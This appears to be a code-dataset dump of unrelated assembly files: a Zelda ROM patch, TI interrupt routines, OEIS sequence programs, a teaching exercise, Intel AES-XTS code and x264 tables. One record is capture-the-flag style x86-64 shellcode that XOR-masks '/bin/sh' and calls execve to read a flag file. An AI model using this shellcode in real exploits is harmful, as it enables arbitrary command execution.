.didnt_converse)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\norg $05EB03 ; <- 2EB03 sprite_bottle_vendor.asm : 129 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Digging Game Guy\norg $1DFC76 ; <- EFC76 sprite_digging_game_guy.asm : 46 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .return)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\norg $1DFCA6 ; <- EFCA6 sprite_digging_game_guy.asm : 89 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Flute Boy\norg $06B078 ; <- 33078 sprite_flute_boy.asm : 244 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\norg $06B0AF ; <- 330AF sprite_flute_boy.asm : 308 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- 300 rupee npcs\norg $1EF047 ; <- F7047 sprite_shopkeeper.asm : 227 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) (probably)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\n;----------------------------------------------------------\n;-- Chest Game Guy\norg $1EEFBF ; <- F6FBF sprite_shopkeeper.asm : 121 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC BRANCH_ALPHA)\nJSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit\norg $1EEFE0 ; <- F6FE0 sprite_shopkeeper.asm : 144 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Desert Palace plaque (opening desert with book)\norg $1EE0D2 ; <- F60D2 Sprite_Hylian_Plaque.asm : 127 - (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;----------------------------------------------------------\n;-- Uncle gives sword\norg $05DF34 ; <- 2DF34 sprite_uncle_and_priest.asm : 961 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .player_not_close_2)\nJSL Sprite_ShowMessageFromPlayerContact_Edit\n;----------------------------------------------------------\n\n;===================================\n;-- Escort Text\n;-- dw coordinate, coordinate, flag, text message number, tagalong number\n;===================================\norg $09A4C2 ; <- 4A4C2 tagalong.asm : 967 - (.room_data_1)\ndw $1EF0, $0288, $0001, $0097, $00F0 ; Old man first text after encounter text\ndw $1E58, $02F0, $0002, $0098, $00F0 ; Old man \"dead end\" (when you run to the pot)\ndw $1EA8, $03B8, $0004, $0099, $00F0 ; Old man \"turn right here\"\ndw $0CF8, $025B, $0001, $001F, $00F0 ; Zelda \"there's a secret passage\"\ndw $0CF8, $039D, $0002, $001F, $00F0 ; Zelda \"there's a secret passage\"\ndw $0C78, $0238, $0004, $001F, $00F0 ; Zelda \"there's a secret passage\"\ndw $0A30, $02F8, $0001, $0020, $00F0 ; Zelda \"we can push this\"\ndw $0178, $0550, $0001, $0021, $00F0 ; Zelda \"pull the lever\"\ndw $0168, $04F8, $0002, $0028, $00F0 ; Zelda room before sanctuary\ndw $1BD8, $16FC, $0001, $0122, $00F0 ; Blind (maiden) \"don't take me outside!\"\ndw $1520, $167C, $0001, $0122, $00F0 ; Blind (maiden) \"don't take me outside!\"\ndw $05AC, $04FC, $0001, $0027, $00F0 ; Zelda in the water room\n\n\n;=====================================================\n;-- Multiworld dialog override hook for item pickups\n;=====================================================\norg $0eee88\n jml alttp_multiworld_dialog\n\n; Ancilla_ReceiveItem\norg $08C553\n jsl alttp_mw_no_rupees\n\n;=====================================================\n;-- Multiworld gameplay hooks for message queue\n;=====================================================\norg $02a499 ; Overworld (JSL Player_Main)\n jsl alttp_mw_handle_queue\norg $028849 ; Dungeon (JSL Player_Main)\n jsl alttp_mw_handle_queue\n\n\n\n; Dark room temporary light cone disable\n;\norg $08C531\n jsl DisableTemporaryCone : nop #3\n\n; Hook the beginning of Save & Quit to add soft-reset restrictions\norg $00fa2b ; Bank00.asm : 8724 (LDA.b #$17 : STA $10)\n jsl OnBeginSaveAndQuit\n","avg_line_length":49.3486312399,"max_line_length":179,"alphanum_fraction":0.4445350867} {"size":3852,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":";\/*****************************************************************************\r\n; * Copyright (c) Texas Instruments Inc 2002, 2003, 2004, 2005 \r\n; * \r\n; * Use of this software is controlled by the terms and conditions found in the\r\n; * license agreement under which this software has been supplied. \r\n; *****************************************************************************\/\r\n\r\n;\/** @file _csl_intcIntrEnDisRes.asm\r\n; *\r\n; * @date 12th June, 2004\r\n; * @author Ruchika Kharwar\r\n; *\/\r\n ; A0 contains the Register to be read \r\n_CSL_INTC_GIE_MASK .equ 0x00000001\r\n_CSL_INTC_GIE_MASK_DISABLE .equ 0xfffffffe\r\n_CSL_INTC_GEE .equ 4h \r\n_CSL_INTC_XEN .equ 8h \r\n \r\n .ref __CSL_intcVectorTable\r\n .sect \".text:csl_section:intc\"\r\n .global __CSL_intcIvpSet\r\n__CSL_intcIvpSet:\r\n bnop b3,2\r\n mvkl __CSL_intcVectorTable, b0\r\n mvkh __CSL_intcVectorTable, b0\r\n mvc b0, istp\r\n\r\n .global _CSL_intcInterruptEnable\r\n_CSL_intcInterruptEnable:\r\n ;input argument is in a4\r\n ;return value is in a4\r\n bnop b3, 1\r\n mvk 1, a5\r\n mvc ier, b0\r\n ||shl a5, a4, a5 ; Or mask obtained\r\n shru b0, a5, a4 ; return value obtained\r\n ||or a5, b0, b0\r\n mvc b0, ier\r\n ||and a4,1,a4\r\n \r\n .global _CSL_intcInterruptDisable\r\n_CSL_intcInterruptDisable:\r\n ;input argument is in a4\r\n ;return value is in a4\r\n bnop b3, 1\r\n mvk 1, a5\r\n mvc ier, b0\r\n ||shl a5, a4, a5 ; Or mask obtained\r\n shru b0, a4, a4 ; return value obtained\r\n ||andn b0, a5, b0\r\n mvc b0, ier\r\n ||and a4,1,a4\r\n \r\n .global _CSL_intcInterruptClear\r\n_CSL_intcInterruptClear:\r\n ;input argument is in a4\r\n bnop b3, 1\r\n mv a4,b2\r\n mvk 1, b1\r\n shl b1, b2, b1 ; Or mask obtained\r\n mvc b1, icr\r\n \r\n .global _CSL_intcInterruptSet\r\n_CSL_intcInterruptSet:\r\n bnop b3, 1\r\n mv a4,b2\r\n mvk 1, b1\r\n shl b1, b2, b1 ; Or mask obtained\r\n mvc b1, isr \r\n \r\n .global _CSL_intcInterruptRestore\r\n_CSL_intcInterruptRestore:\r\n ;a4 contains the vectorId\r\n ;b4 contains the value to be restored\r\n b b3\r\n mv a4,b1\r\n shl .s2 b4,b1,b4\r\n mvc ier,b0\r\n or b0,b4,b0\r\n mvc b0,ier\r\n\r\n .global _CSL_intcQueryInterruptStatus \r\n_CSL_intcQueryInterruptStatus:\r\n b b3\r\n mvk 1, b1\r\n mvc ifr, b0\r\n shl b1, a4,a5\r\n and a5,b0,a5\r\n shru a5,a4,a4 \r\n \r\n .global _CSL_intcGlobalEnable\r\n_CSL_intcGlobalEnable:\r\n bnop b3\r\n mv a4,a0\r\n ||mvc csr, b0\r\n and b0 , _CSL_INTC_GIE_MASK, a3\r\n [a0] stnw a3 , *a0\r\n ||or b0 , _CSL_INTC_GIE_MASK, b0 \r\n mvc b0 , csr\r\n mvk 1, a4\r\n\r\n ; CSL_Status = CSL_SOK\r\n .global _CSL_intcGlobalDisable\r\n_CSL_intcGlobalDisable: \r\n bnop b3\r\n mv a4,a0\r\n ||mvc csr, b0\r\n and b0 , 1, a3\r\n [a0]stnw a3 , *a0\r\n ||and b0 , _CSL_INTC_GIE_MASK_DISABLE, b0 \r\n mvc b0 , csr\r\n mvk 1, a4\r\n \r\n .global _CSL_intcGlobalRestore\r\n_CSL_intcGlobalRestore: \r\n bnop b3\r\n mvc csr, b0\r\n and a4, _CSL_INTC_GIE_MASK, b1\r\n or b1, b0,b0\r\n mvk 1, a4 ; CSL_Status \r\n mvc b0 , csr \r\n \r\n .global _CSL_intcGlobalNmiEnable \r\n_CSL_intcGlobalNmiEnable:\r\n bnop b3, 1\r\n mvc ier, b0\r\n or 2, b0, b0\r\n mvc b0, ier\r\n mvk 1, a4\r\n \r\n .global _CSL_intcGlobalExcepEnable\r\n_CSL_intcGlobalExcepEnable:\r\n bnop b3, 1\r\n mvc tsr, b0\r\n or _CSL_INTC_GEE, b0, b0\r\n mvc b0, tsr\r\n mvk 1, a4\r\n\r\n\r\n .global _CSL_intcGlobalExtExcepEnable\r\n_CSL_intcGlobalExtExcepEnable:\r\n bnop b3, 1\r\n mvc tsr, b0\r\n or _CSL_INTC_XEN, b0, b0\r\n mvc b0, tsr\r\n mvk 1, a4\r\n \r\n .global _CSL_intcGlobalExcepClear\r\n_CSL_intcGlobalExcepClear:\r\n b b3\r\n mvk 1, a3\r\n shl a3, a4, a3\r\n mv a3, b2\r\n mvc b2, ecr\r\n mvk 1, a4\r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","avg_line_length":23.2048192771,"max_line_length":81,"alphanum_fraction":0.5677570093} {"size":1248,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A182769: Beatty sequence for (4 + sqrt(2))\/2.\n; 2,5,8,10,13,16,18,21,24,27,29,32,35,37,40,43,46,48,51,54,56,59,62,64,67,70,73,75,78,81,83,86,89,92,94,97,100,102,105,108,110,113,116,119,121,124,127,129,132,135,138,140,143,146,148,151,154,157,159,162,165,167,170,173,175,178,181,184,186,189,192,194,197,200,203,205,208,211,213,216,219,221,224,227,230,232,235,238,240,243,246,249,251,254,257,259,262,265,268,270,273,276,278,281,284,286,289,292,295,297,300,303,305,308,311,314,316,319,322,324,327,330,332,335,338,341,343,346,349,351,354,357,360,362,365,368,370,373,376,378,381,384,387,389,392,395,397,400,403,406,408,411,414,416,419,422,425,427,430,433,435,438,441,443,446,449,452,454,457,460,462,465,468,471,473,476,479,481,484,487,489,492,495,498,500,503,506,508,511,514,517,519,522,525,527,530,533,536,538,541,544,546,549,552,554,557,560,563,565,568,571,573,576,579,582,584,587,590,592,595,598,600,603,606,609,611,614,617,619,622,625,628,630,633,636,638,641,644,646,649,652,655,657,660,663,665,668,671,674,676\n\nmov $7,$0\nmov $8,$0\nadd $0,1\npow $0,2\nmov $2,$0\nmov $3,1\nlpb $2\n add $3,1\n mov $4,$2\n trn $4,2\n lpb $4\n add $3,4\n trn $4,$3\n add $5,2\n lpe\n sub $2,$2\nlpe\nmov $1,$5\nmov $6,$7\nmul $6,2\nadd $1,$6\ndiv $1,2\nadd $1,2\nadd $1,$8\n","avg_line_length":44.5714285714,"max_line_length":962,"alphanum_fraction":0.6858974359} {"size":488,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A258290: Arithmetic derivative of central binomial coefficients, cf. A000984.\n; 0,1,5,24,59,456,1448,6868,19749,69364,236356,1526956,3717440,22858340,122553540,474051984,954720543,5726109024,19329586520,92051285020,319059863484,1271796704788,4829219746964,29791326914640,74372011398840,340296661452300,1491340256144172,4918156369293664\n\nmov $2,$0\nmul $0,2\nbin $0,$2\ncal $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).\nmov $1,$0\n","avg_line_length":54.2222222222,"max_line_length":257,"alphanum_fraction":0.7540983607} {"size":529,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"%include \"..\/utils\/printf32.asm\"\n\n%define ARRAY_LEN 7\n\nsection .data\n\ninput dd 122, 184, 199, 242, 263, 845, 911\noutput times ARRAY_LEN dd 0\n\nsection .text\n\nextern printf\nglobal main\nmain:\n\n ; TODO push the elements of the array on the stack\n ; TODO retrieve the elements (pop) from the stack into the output array\n\n PRINTF32 `Reversed array: \\n\\x0`\n xor ecx, ecx\nprint_array:\n mov edx, [output + 4 * ecx]\n PRINTF32 `%d\\n\\x0`, edx\n inc ecx\n cmp ecx, ARRAY_LEN\n jb print_array\n\n xor eax, eax\n ret\n","avg_line_length":17.6333333333,"max_line_length":75,"alphanum_fraction":0.6691871456} {"size":729,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A015242: a(n) = (2*n - 7)*n^2.\n; 0,-5,-12,-9,16,75,180,343,576,891,1300,1815,2448,3211,4116,5175,6400,7803,9396,11191,13200,15435,17908,20631,23616,26875,30420,34263,38416,42891,47700,52855,58368,64251,70516,77175,84240,91723,99636,107991,116800,126075,135828,146071,156816,168075,179860,192183,205056,218491,232500,247095,262288,278091,294516,311575,329280,347643,366676,386391,406800,427915,449748,472311,495616,519675,544500,570103,596496,623691,651700,680535,710208,740731,772116,804375,837520,871563,906516,942391,979200,1016955,1055668,1095351,1136016,1177675,1220340,1264023,1308736,1354491,1401300,1449175,1498128,1548171,1599316,1651575,1704960,1759483,1815156,1871991\n\nmov $1,$0\nmul $0,2\nsub $0,7\nmul $0,$1\nmul $0,$1\n","avg_line_length":81.0,"max_line_length":646,"alphanum_fraction":0.7969821674} {"size":1530,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"; A131723: a(2*n) = 1-n^2, a(2*n+1) = n*(n+1).\n; 0,2,-3,6,-8,12,-15,20,-24,30,-35,42,-48,56,-63,72,-80,90,-99,110,-120,132,-143,156,-168,182,-195,210,-224,240,-255,272,-288,306,-323,342,-360,380,-399,420,-440,462,-483,506,-528,552,-575,600,-624,650,-675,702,-728,756,-783,812,-840,870,-899,930,-960,992,-1023,1056,-1088,1122,-1155,1190,-1224,1260,-1295,1332,-1368,1406,-1443,1482,-1520,1560,-1599,1640,-1680,1722,-1763,1806,-1848,1892,-1935,1980,-2024,2070,-2115,2162,-2208,2256,-2303,2352,-2400,2450,-2499,2550,-2600,2652,-2703,2756,-2808,2862,-2915,2970,-3024,3080,-3135,3192,-3248,3306,-3363,3422,-3480,3540,-3599,3660,-3720,3782,-3843,3906,-3968,4032,-4095,4160,-4224,4290,-4355,4422,-4488,4556,-4623,4692,-4760,4830,-4899,4970,-5040,5112,-5183,5256,-5328,5402,-5475,5550,-5624,5700,-5775,5852,-5928,6006,-6083,6162,-6240,6320,-6399,6480,-6560,6642,-6723,6806,-6888,6972,-7055,7140,-7224,7310,-7395,7482,-7568,7656,-7743,7832,-7920,8010,-8099,8190,-8280,8372,-8463,8556,-8648,8742,-8835,8930,-9024,9120,-9215,9312,-9408,9506,-9603,9702,-9800,9900,-9999,10100,-10200,10302,-10403,10506,-10608,10712,-10815,10920,-11024,11130,-11235,11342,-11448,11556,-11663,11772,-11880,11990,-12099,12210,-12320,12432,-12543,12656,-12768,12882,-12995,13110,-13224,13340,-13455,13572,-13688,13806,-13923,14042,-14160,14280,-14399,14520,-14640,14762,-14883,15006,-15128,15252,-15375,15500,-15624,15750\n\nmov $3,1\nadd $3,$0\nmov $4,$3\nadd $3,2\nlpb $0,1\n sub $0,1\n mul $3,$4\n mov $1,$3\n mov $2,1\n sub $2,$3\n mov $3,$2\n mov $4,1\nlpe\ndiv $1,4\n","avg_line_length":85.0,"max_line_length":1340,"alphanum_fraction":0.6882352941} {"size":1561,"ext":"asm","lang":"Assembly","max_stars_count":2757.0,"content":";Copyright 2019 Google LLC\n;\n;Licensed under the Apache License, Version 2.0 (the \"License\");\n;you may not use this file except in compliance with the License.\n;You may obtain a copy of the License at\n;\n; https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n;\n;Unless required by applicable law or agreed to in writing, software\n;distributed under the License is distributed on an \"AS IS\" BASIS,\n;WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n;See the License for the specific language governing permissions and\n;limitations under the License.\n\nBITS 64\nGLOBAL _start\nSECTION .text\n_start:\n ; execve(path='\/bin\/sh', argv=['sh', '-c', '\/bin\/cat flag'], envp=0) *\/\n ; push '\/bin\/sh\\x00' *\/\n mov rax, 0x101010101010101\n push rax\n mov rax, 0x101010101010101 ^ 0x68732f6e69622f\n xor [rsp], rax\n mov rdi, rsp\n ; push argument array ['sh\\x00', '-c\\x00', '\/bin\/cat flag\\x00'] *\/\n ; push 'sh\\x00-c\\x00\/bin\/cat flag\\x00' *\/\n push 0x1010101 ^ 0x67616c\n xor dword [rsp], 0x1010101\n mov rax, 0x66207461632f6e69\n push rax\n mov rax, 0x101010101010101\n push rax\n mov rax, 0x101010101010101 ^ 0x622f00632d006873\n xor [rsp], rax\n xor esi, esi ; 0 *\/\n push rsi ; null terminate *\/\n push 0xe\n pop rsi\n add rsi, rsp\n push rsi ; '\/bin\/cat flag\\x00' *\/\n push 0x13\n pop rsi\n add rsi, rsp\n push rsi ; '-c\\x00' *\/\n push 0x18\n pop rsi\n add rsi, rsp\n push rsi ; 'sh\\x00' *\/\n mov rsi, rsp\n xor edx, edx ; 0 *\/\n ; call execve() *\/\n push 0x3b\n pop rax\n syscall\n","avg_line_length":27.875,"max_line_length":75,"alphanum_fraction":0.6521460602} {"size":10252,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"###############################################################################\n# Copyright 2019 Intel Corporation\n# All Rights Reserved.\n#\n# If this software was obtained under the Intel Simplified Software License,\n# the following terms apply:\n#\n# The source code, information and material (\"Material\") contained herein is\n# owned by Intel Corporation or its suppliers or licensors, and title to such\n# Material remains with Intel Corporation or its suppliers or licensors. The\n# Material contains proprietary information of Intel or its suppliers and\n# licensors. The Material is protected by worldwide copyright laws and treaty\n# provisions. No part of the Material may be used, copied, reproduced,\n# modified, published, uploaded, posted, transmitted, distributed or disclosed\n# in any way without Intel's prior express written permission. No license under\n# any patent, copyright or other intellectual property rights in the Material\n# is granted to or conferred upon you, either expressly, by implication,\n# inducement, estoppel or otherwise. Any license under such intellectual\n# property rights must be express and approved by Intel in writing.\n#\n# Unless otherwise agreed by Intel in writing, you may not remove or alter this\n# notice or any other notice embedded in Materials by Intel or Intel's\n# suppliers or licensors in any way.\n#\n#\n# If this software was obtained under the Apache License, Version 2.0 (the\n# \"License\"), the following terms apply:\n#\n# You may not use this file except in compliance with the License. You may\n# obtain a copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n#\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#\n# See the License for the specific language governing permissions and\n# limitations under the License.\n###############################################################################\n\n \n .section .note.GNU-stack,\"\",%progbits \n \n.text\n.p2align 5, 0x90\n \nALPHA_MUL_CNT:\n.quad 0x87, 0x1 \n.p2align 5, 0x90\n \n.globl l9_cpAESDecryptXTS_AES_NI\n.type l9_cpAESDecryptXTS_AES_NI, @function\n \nl9_cpAESDecryptXTS_AES_NI:\n \n sub $(104), %rsp\n \n movslq %r8d, %r8\n movdqu (%r9), %xmm15\n shl $(4), %r8\n movdqa (%r8,%rcx), %xmm0\n movdqa ALPHA_MUL_CNT(%rip), %xmm8\n pshufd $(95), %xmm15, %xmm9\n movslq %edx, %rdx\n movdqa %xmm9, %xmm14\n paddd %xmm9, %xmm9\n movdqa %xmm15, %xmm10\n psrad $(31), %xmm14\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm14\n pxor %xmm0, %xmm10\n pxor %xmm14, %xmm15\n movdqa %xmm9, %xmm14\n paddd %xmm9, %xmm9\n movdqa %xmm15, %xmm11\n psrad $(31), %xmm14\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm14\n pxor %xmm0, %xmm11\n pxor %xmm14, %xmm15\n movdqa %xmm9, %xmm14\n paddd %xmm9, %xmm9\n movdqa %xmm15, %xmm12\n psrad $(31), %xmm14\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm14\n pxor %xmm0, %xmm12\n pxor %xmm14, %xmm15\n movdqa %xmm9, %xmm14\n paddd %xmm9, %xmm9\n movdqa %xmm15, %xmm13\n psrad $(31), %xmm14\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm14\n pxor %xmm0, %xmm13\n pxor %xmm14, %xmm15\n movdqa %xmm15, %xmm14\n psrad $(31), %xmm9\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm9\n pxor %xmm0, %xmm14\n pxor %xmm9, %xmm15\n movdqa %xmm15, %xmm8\n pxor %xmm0, %xmm15\n sub $(6), %rdx\n jc .Lshort_inputgas_1\n.p2align 5, 0x90\n.Lblks_loopgas_1: \n pxor (%rcx), %xmm0\n lea (-96)(%r8), %rax\n lea (96)(%rcx), %r10\n movdqu (%rsi), %xmm2\n movdqu (16)(%rsi), %xmm3\n movdqu (32)(%rsi), %xmm4\n movdqu (48)(%rsi), %xmm5\n movdqu (64)(%rsi), %xmm6\n movdqu (80)(%rsi), %xmm7\n movdqa (-16)(%r8,%rcx), %xmm1\n pxor %xmm10, %xmm2\n pxor %xmm11, %xmm3\n pxor %xmm12, %xmm4\n pxor %xmm13, %xmm5\n pxor %xmm14, %xmm6\n pxor %xmm15, %xmm7\n pxor %xmm0, %xmm10\n pxor %xmm0, %xmm11\n pxor %xmm0, %xmm12\n pxor %xmm0, %xmm13\n pxor %xmm0, %xmm14\n pxor %xmm0, %xmm15\n movdqa (-32)(%r8,%rcx), %xmm0\n movdqa %xmm10, (%rsp)\n movdqa %xmm11, (16)(%rsp)\n movdqa %xmm12, (32)(%rsp)\n movdqa %xmm13, (48)(%rsp)\n movdqa %xmm14, (64)(%rsp)\n movdqa %xmm15, (80)(%rsp)\n add $(96), %rsi\n.p2align 5, 0x90\n.Lcipher_loopgas_1: \n sub $(32), %rax\n aesdec %xmm1, %xmm2\n aesdec %xmm1, %xmm3\n aesdec %xmm1, %xmm4\n aesdec %xmm1, %xmm5\n aesdec %xmm1, %xmm6\n aesdec %xmm1, %xmm7\n movdqa (-16)(%r10,%rax), %xmm1\n aesdec %xmm0, %xmm2\n aesdec %xmm0, %xmm3\n aesdec %xmm0, %xmm4\n aesdec %xmm0, %xmm5\n aesdec %xmm0, %xmm6\n aesdec %xmm0, %xmm7\n movdqa (-32)(%r10,%rax), %xmm0\n jnz .Lcipher_loopgas_1\n movdqa (%r8,%rcx), %xmm10\n movdqa %xmm8, %xmm15\n pshufd $(95), %xmm8, %xmm9\n movdqa ALPHA_MUL_CNT(%rip), %xmm8\n aesdec %xmm1, %xmm2\n aesdec %xmm1, %xmm3\n aesdec %xmm1, %xmm4\n aesdec %xmm1, %xmm5\n aesdec %xmm1, %xmm6\n aesdec %xmm1, %xmm7\n movdqa (48)(%rcx), %xmm1\n movdqa %xmm9, %xmm14\n paddd %xmm9, %xmm9\n psrad $(31), %xmm14\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm14\n pxor %xmm14, %xmm15\n movdqa %xmm10, %xmm11\n pxor %xmm15, %xmm10\n aesdec %xmm0, %xmm2\n aesdec %xmm0, %xmm3\n aesdec %xmm0, %xmm4\n aesdec %xmm0, %xmm5\n aesdec %xmm0, %xmm6\n aesdec %xmm0, %xmm7\n movdqa (32)(%rcx), %xmm0\n movdqa %xmm9, %xmm14\n paddd %xmm9, %xmm9\n psrad $(31), %xmm14\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm14\n pxor %xmm14, %xmm15\n movdqa %xmm11, %xmm12\n pxor %xmm15, %xmm11\n aesdec %xmm1, %xmm2\n aesdec %xmm1, %xmm3\n aesdec %xmm1, %xmm4\n aesdec %xmm1, %xmm5\n aesdec %xmm1, %xmm6\n aesdec %xmm1, %xmm7\n movdqa (16)(%rcx), %xmm1\n movdqa %xmm9, %xmm14\n paddd %xmm9, %xmm9\n psrad $(31), %xmm14\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm14\n pxor %xmm14, %xmm15\n movdqa %xmm12, %xmm13\n pxor %xmm15, %xmm12\n aesdec %xmm0, %xmm2\n aesdec %xmm0, %xmm3\n aesdec %xmm0, %xmm4\n aesdec %xmm0, %xmm5\n aesdec %xmm0, %xmm6\n aesdec %xmm0, %xmm7\n movdqa %xmm9, %xmm14\n paddd %xmm9, %xmm9\n psrad $(31), %xmm14\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm14\n pxor %xmm14, %xmm15\n movdqa %xmm13, %xmm14\n pxor %xmm15, %xmm13\n aesdec %xmm1, %xmm2\n aesdec %xmm1, %xmm3\n aesdec %xmm1, %xmm4\n aesdec %xmm1, %xmm5\n aesdec %xmm1, %xmm6\n aesdec %xmm1, %xmm7\n movdqa %xmm9, %xmm0\n paddd %xmm9, %xmm9\n psrad $(31), %xmm0\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm0\n pxor %xmm0, %xmm15\n movdqa %xmm14, %xmm0\n pxor %xmm15, %xmm14\n aesdeclast (%rsp), %xmm2\n aesdeclast (16)(%rsp), %xmm3\n aesdeclast (32)(%rsp), %xmm4\n aesdeclast (48)(%rsp), %xmm5\n aesdeclast (64)(%rsp), %xmm6\n aesdeclast (80)(%rsp), %xmm7\n psrad $(31), %xmm9\n paddq %xmm15, %xmm15\n pand %xmm8, %xmm9\n pxor %xmm9, %xmm15\n movdqa %xmm15, %xmm8\n pxor %xmm0, %xmm15\n movdqu %xmm2, (%rdi)\n movdqu %xmm3, (16)(%rdi)\n movdqu %xmm4, (32)(%rdi)\n movdqu %xmm5, (48)(%rdi)\n movdqu %xmm6, (64)(%rdi)\n movdqu %xmm7, (80)(%rdi)\n add $(96), %rdi\n sub $(6), %rdx\n jnc .Lblks_loopgas_1\n.Lshort_inputgas_1: \n add $(6), %rdx\n jz .Lquitgas_1\n movdqa %xmm10, (%rsp)\n movdqa %xmm11, (16)(%rsp)\n movdqa %xmm12, (32)(%rsp)\n movdqa %xmm13, (48)(%rsp)\n movdqa %xmm14, (64)(%rsp)\n movdqa %xmm15, (80)(%rsp)\n movdqa (%r8,%rcx), %xmm0\n pxor (%rcx), %xmm0\n xor %rax, %rax\n.Lsingle_blk_loopgas_1: \n movdqu (%rsi), %xmm2\n movdqa (%rsp,%rax), %xmm1\n add $(16), %rsi\n pxor %xmm1, %xmm2\n pxor %xmm0, %xmm1\n cmp $(192), %r8\n jl .Lkey_128_sgas_1\n.Lkey_256_sgas_1: \n aesdec (208)(%rcx), %xmm2\n aesdec (192)(%rcx), %xmm2\n aesdec (176)(%rcx), %xmm2\n aesdec (160)(%rcx), %xmm2\n.Lkey_128_sgas_1: \n aesdec (144)(%rcx), %xmm2\n aesdec (128)(%rcx), %xmm2\n aesdec (112)(%rcx), %xmm2\n aesdec (96)(%rcx), %xmm2\n aesdec (80)(%rcx), %xmm2\n aesdec (64)(%rcx), %xmm2\n aesdec (48)(%rcx), %xmm2\n aesdec (32)(%rcx), %xmm2\n aesdec (16)(%rcx), %xmm2\n aesdeclast %xmm1, %xmm2\n movdqu %xmm2, (%rdi)\n add $(16), %rdi\n add $(16), %rax\n sub $(1), %rdx\n jnz .Lsingle_blk_loopgas_1\n movdqa (%rsp,%rax), %xmm10\n.Lquitgas_1: \n pxor (%r8,%rcx), %xmm10\n movdqu %xmm10, (%r9)\n pxor %xmm0, %xmm0\n pxor %xmm1, %xmm1\n add $(104), %rsp\nvzeroupper \n \n ret\n.Lfe1:\n.size l9_cpAESDecryptXTS_AES_NI, .Lfe1-(l9_cpAESDecryptXTS_AES_NI)\n \n","avg_line_length":33.1779935275,"max_line_length":80,"alphanum_fraction":0.5040967616} {"size":20597,"ext":"asm","lang":"Assembly","max_stars_count":2.0,"content":";*****************************************************************************\n;* cabac-a.asm: x86 cabac\n;*****************************************************************************\n;* Copyright (C) 2008-2020 x264 project\n;*\n;* Authors: Loren Merritt \n;* Fiona Glaser \n;* Holger Lubitz \n;*\n;* This program is free software; you can redistribute it and\/or modify\n;* it under the terms of the GNU General Public License as published by\n;* the Free Software Foundation; either version 2 of the License, or\n;* (at your option) any later version.\n;*\n;* This program is distributed in the hope that it will be useful,\n;* but WITHOUT ANY WARRANTY; without even the implied warranty of\n;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n;* GNU General Public License for more details.\n;*\n;* You should have received a copy of the GNU General Public License\n;* along with this program; if not, write to the Free Software\n;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.\n;*\n;* This program is also available under a commercial proprietary license.\n;* For more information, contact us at licensing@x264.com.\n;*****************************************************************************\n\n%include \"x86inc.asm\"\n%include \"x86util.asm\"\n\nSECTION_RODATA 64\n\n%if ARCH_X86_64\n%macro COEFF_LAST_TABLE 4-18 16, 15, 16, 4, 15, 64, 16, 15, 16, 64, 16, 15, 16, 64\n %xdefine %%funccpu1 %2 ; last4\n %xdefine %%funccpu2 %3 ; last64\n %xdefine %%funccpu3 %4 ; last15\/last16\n coeff_last_%1:\n %xdefine %%base coeff_last_%1\n %rep 14\n %ifidn %5, 4\n dd mangle(private_prefix %+ _coeff_last%5_ %+ %%funccpu1) - %%base\n %elifidn %5, 64\n dd mangle(private_prefix %+ _coeff_last%5_ %+ %%funccpu2) - %%base\n %else\n dd mangle(private_prefix %+ _coeff_last%5_ %+ %%funccpu3) - %%base\n %endif\n %rotate 1\n %endrep\n dd 0, 0 ; 64-byte alignment padding\n%endmacro\n\ncextern coeff_last4_mmx2\ncextern coeff_last4_lzcnt\n%if HIGH_BIT_DEPTH\ncextern coeff_last4_avx512\n%endif\ncextern coeff_last15_sse2\ncextern coeff_last15_lzcnt\ncextern coeff_last15_avx512\ncextern coeff_last16_sse2\ncextern coeff_last16_lzcnt\ncextern coeff_last16_avx512\ncextern coeff_last64_sse2\ncextern coeff_last64_lzcnt\ncextern coeff_last64_avx2\ncextern coeff_last64_avx512\n\nCOEFF_LAST_TABLE sse2, mmx2, sse2, sse2\nCOEFF_LAST_TABLE lzcnt, lzcnt, lzcnt, lzcnt\nCOEFF_LAST_TABLE avx2, lzcnt, avx2, lzcnt\n%if 